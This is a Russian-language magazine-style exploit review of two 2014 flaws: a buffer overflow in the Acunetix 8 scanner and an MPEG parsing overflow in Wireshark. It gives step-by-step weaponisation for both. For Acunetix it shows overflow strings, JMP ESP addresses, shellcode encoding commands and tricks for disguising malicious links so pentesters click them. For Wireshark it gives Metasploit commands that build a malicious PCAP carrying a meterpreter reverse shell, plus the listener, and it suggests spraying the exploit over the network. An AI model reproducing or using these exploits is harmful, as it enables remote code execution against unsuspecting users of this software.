• Партнер

  • В этом обзоре мы рассмотрим эксплойты в софте для проведения атак. Используя такие уязвимости, можно создать активную защиту, которая сможет атаковать в ответ всех, кто пытается получить важную информацию.

     

    WARNING

    Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

     

    Уязвимость нулевого дня в Acunetix 8

    • CVSSv2 10.0 (AV:R/AC:L/Au:N/C:C/I:C/A:C)
    • Дата релиза: 23 апреля 2014 года
    • Автор: Danor Cohen, Osanda Malith
    • CVE: 2014-2994

    BRIEF

    Acunetix — один из самых популярных веб-сканеров уязвимостей и знаком многим нашим читателям благодаря хорошим результатам и простоте использования. Правда, большинство людей использует его «ознакомительную» версию Acunetix 8 (билд 20120704) из-за ощутимой цены. В связи с этим атаку с использованием найденной уязвимости прозвали «Взломай скрипт-кидди».

    Ошибка происходит из-за неправильной обработки полученных данных, в частности ссылок на сторонние доменные имена. Вот пример найденных с помощью модуля Scan Wizardдоменов для блога автора уязвимости.

    XSS-уязвимость в McAfee Superscan 4.0
    XSS-уязвимость в McAfee Superscan 4.0

    Этот модуль собирает домены из HTML-тегов, используемых на исследуемом сайте, например:

    <img src=http://externalSource.com/someimg.png >
    <a href=http://externalSource.com/ ></a>
    

    После небольшого фаззинга было найдено, что Acunetix падает, если длина строки с доменным именем будет равна 268 или больше байт:

    <A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA”> 
    

    При быстром анализе падения приложения в Immunity Debugger видим, что происходит повреждение регистра EDX, который заполняется кодом символа A. Значение регистров представлено на скриншоте.

    Значения регистров после ошибки в Acunetix
    Значения регистров после ошибки в Acunetix

    Первая проблема в эксплуатации этой уязвимости заключается в обходе SEH. Вторую можно описать одним словом — ASCII. Acunetix получает информацию о внешних доменах как URL-адреса. А так как URL-адреса содержат только цифры и буквы за отдельным исключением, то мы не сможем указать некоторые адреса. Например, символ " будет представлен в памяти как 253232, потому что в начале конвертируется в %22 и затем только в коды символов. Кстати, сам символ % тоже будет конвертирован и отобразится как 253235.

    Анализ падения приложения Acunetix в Immunity Debugger
    Анализ падения приложения Acunetix в Immunity Debugger

    Поэтому мы можем использовать только символы из диапазонов: A–Z, a–z, 1–0. И несколько специальных символов-исключений: !()=}{.

    Автор долгое время пытался найти обход SEH с использованием только «печатных» символов, но нашел лишь обходной путь, поэтому он советует не тратить время на поиски.

    Давай взглянем на полученное решение. Если посмотрим на строку, в которой происходит падение, то увидим следующее:

    00405998 8B4A F8 MOV ECX,DWORD PTR DS:[EDX-8]
    

    Мы перезаписываем регистр EDX, но в инструкции он использует полученное значение минус 8. То есть к найденному подходящему адресу нужно будет добавить 8, конвертировать в «печатные» символы и надеяться на лучшее...

    После небольшого поиска был найден подходящий адрес, который успешно представляется подходящими символами:

    0х66303035 = f005
    
    
    Перезапись регистра EIP после обращения к адресу 0х66303035
    Перезапись регистра EIP после обращения к адресу 0х66303035

    Для поиска нужного смещения можно воспользоваться утилитами pattern_create.rb иpattern_offset.rb из фреймворка Metasploit. Небольшое руководство по их использованию мы публиковали в одном из номеров, или можешь прочесть онлайн-версию на нашем сайте.

    Далее находим место в URL-адресе, которое затирает регистр, и подставим полученное значение

    <img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
    

    Результат представлен на скриншоте. Как ты видишь, мы добились нужного результата и перезаписали регистр EIP.

    ![Перезапись регистра EIP после обращения к адресу 0х66303035](EIP overrun.png)

    Помимо этого, есть два места, куда мы можем подставить наш шелл-код: регистры ESP и EAX. Лучше всего использовать ESP по нескольким причинам:

    • этот регистр указывается точно на начало строки с шелл-кодом;
    • больше места под полезную нагрузку, чем в EAX.

    После того как мы определились с выбором регистра, нужно найти адрес, указывающий на инструкцию:

    JMP ESP
    

    Этот адрес должен будет записан с помощью «печатных» символов. Автор оригинального эксплойта использовал следующий адрес:

    0x7e79515d (из библиотеки SXS.DLL) = ]Qy~
    

    Также можно воспользоваться утилитой mona.py от Corelan с подходящими опциями и найти еще варианты:

    !mona jmp -r esp -cp asciiprint
    0x4d526349 : jmp esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [WINHTTP.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\WINHTTP.dll)
    

    Результат будет выглядеть примерно так:

    0x4d526349 = MRcI
    

    Но воспользуемся первым, подставим его в нашу атакующую ссылку и запустим программу:

    <img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBB]Qy~BBBB...”>
    
    Выполнение кода из регистра ESP для Acunetix 8 через адрес 0x7e79515d
    Выполнение кода
    из регистра ESP
    для Acunetix 8 через
    адрес 0x7e79515d

    Результат срабатывания ты увидишь на скриншоте. Мы добились вызова инструкции:

    INC DEX
    

    Ее опкодом является 42 — код переданного символа B. Если заметил, то полученный адрес мы записали через четыре символа после первого адреса, так как они идут в ненужный нам регистр.

    Следующим шагом нам нужно подобрать подходящий Windows-шелл, который мы сможем записать как URL-строку. В этом нам могут помочь две утилиты:

    • Python-утилита ALPHA3: ALPHA3.py esp -- input="shellcode.bin";
    • Metasploit-утилита: msfpayload windows/exec cmd=calc EXITFUNC=thread R| msfencode -e x86/alpha_mixed -t python BufferRegister=ESP.

    Но не забывай: так как шелл-код находится в ESP-регистре, то первая инструкция должна будет быть:

    PUSH ESP
    

    Поэтому мы и указываем в утилитах такой параметр. Полученный эксплойт успешно проходит DEP-защиту, так как Acunetix был скомпилирован без соответствующей опции. Полученную строку ты можешь добавить в нашу ссылку и сохранять у себя на сайте.

    EXPLOIT

    Теперь рассмотрим эксплойты, которые могут сгенерировать все описанное. На момент написания статьи существовало два публичных эксплойта:

    • один, от автора найденной уязвимости, написан на Perl;
    • второй написан на Python.

    Также доступны видео по эксплуатации как Python-версии, так и Perl-версии.

    Единственная проблема — такие адреса будут очень подозрительны, когда атакующий увидит их в окне Scan Wizard, поэтому автор предлагает их замаскировать:

    1. Сделать домен более привлекательным:
      ADMIN.ControlMangment.1249874350345.site.com
      
    2. Использовать имена доменов, начинающиеся с типов уязвимостей: SQLINJECTION, XSS", CSRF и подобное. Например:
      <img src="http://CSRF................................................ ..................................................................... .....................................................................шелл-код">
      

    Большинство начинающих пентестеров с радостью выберут такие пункты, нажмут ОК и далее выполнят подставленный произвольный код.

    TARGETS

    Протестировано на Acunetix 8 build 20120704.

    SOLUTION

    Есть исправление от производителя.

     

    Переполнение буфера в версиях Wireshark ниже 1.8.12/1.10.5

    • CVSSv2 9.3 (AV:R/AC:M/Au:N/C:C/I:C/A:C)
    • Дата релиза: 7 марта 2014 года
    • Автор: Wesley Neelen
    • CVE: 2014-2299

    BRIEF

    Следующая программа также знакома большинству читателей — Wireshark. Без нее анализ сетевого трафика уже многим непривычен и неудобен.

    Ошибка обнаружилась в функции mpeg_read() из файла wiretap/mpeg.c, которая используется для парсинга файлов формата MPEG. Сама же уязвимость проявляется из-за отсутствия проверки размера полученных данных, вследствие чего получаем обычное переполнение буфера.

    Проблему разработчики легко исправили, добавив проверку на размер пакета:

    if (packet_size > WTAP_MAX_PACKET_SIZE) {
        ...
        *err = WTAP_ERR_BAD_FILE;
        *err_info = g_strdup_printf("mpeg: File has %u-byte packet, bigger than maximum of %u", packet_size, WTAP_MAX_PACKET_SIZE);
        return FALSE;
    }
    

    В отличие от предыдущей программы, данная бесплатная с открытыми исходниками, но довольно часто используется ее portable-версия, которую периодически забывают обновлять. Так что у тебя есть все шансы успешно воспользоваться следующим эксплойтом.

    EXPLOIT

    Структура файла-эксплойта включает несколько частей:

    • сигнатуру (Magic number) MPEG-файла — FFFB41;
    • случайные данные;
    • ROP-цепочку;
    • шелл-код;
    • случайные данные, число которых определяется размером предыдущих секций;
    • инструкцию для обхода SEH-механизма, если файл открывается через командную строку;
    • снова случайные данные;
    • инструкцию для обхода SEH, если открывается через GUI.

    Несколько инструкций SEH пришлось использовать из-за различных сценариев открытия файла. Если интересно, можешь посмотреть историю разработки на GitHub-аккаунте автора.

     

    Чтобы найти ROP-цепочку и инструкции для обхода SEH, как и в предыдущем эксплойте, воспользуемся утилитой mona.py. Кстати, команда Corelan в своем видео по использованию скрипта для примера как раз использует одну из уязвимостей в программе Wireshark. В нашем случае, зная нужные библиотеки, можно заюзать такую команду:

    !mona rop -m "libgtk-win32, libjpeg, libgnutls, libgobject, libcares" -cpb '\xff'
    

    А пока возьмем готовый Metasploit-модуль, который генерирует файл формата PCAP для открытия его уязвимой программой Wireshark:

    use exploit/windows/fileformat/wireshark_mpeg_overflow
    msf exploit (wireshark_mpeg_overflow) > set payload windows/meterpreter/reverse_tcp
    msf exploit (wireshark_mpeg_overflow) > set lhost 192.168.81.131
    msf exploit (wireshark_mpeg_overflow) > set target 1
    msf exploit (wireshark_mpeg_overflow) > exploit
    

    После этого отправляем файл пользователю атакуемой машины из папки/root/.msf4/local/mpeg_overflow.pcap, а у себя запускаем клиент, который будет ожидать коннекта:

    msf exploit (wireshark_mpeg_overflow) > use exploit/multi/handler
    msf exploit (handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit (handler) > set lhost 192.168.81.131
    msf exploit (handler) > exploit
    

    Осталось дождаться запуска нашего файла, после чего выполняем любые команды на побежденной машине :).

    Есть идея попробовать доработать эксплойт, чтобы он генерировал не файл, а пакет, и отправлять его постоянно по сети. Тем самым с большой вероятностью любой человек, который попробует поснифать твои пакеты, используя уязвимую версию, выполнит произвольный код на своей машине. Ну или просто его Wireshark будет постоянно закрываться.

    Видео по работе с этой уязвимостью и идеи ее использования опубликовали ребята из Digital Security в своей статье по «побегу» из виртуальной машины.

    Генерируем эксплойт-файл для Wireshark в Metasploit
    Генерируем эксплойт-файл для Wireshark в Metasploit

    TARGETS

    • Wireshark <= 1.8.12.
    • Wireshark <= 1.10.5.

    SOLUTION

    Есть исправление от производителя.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии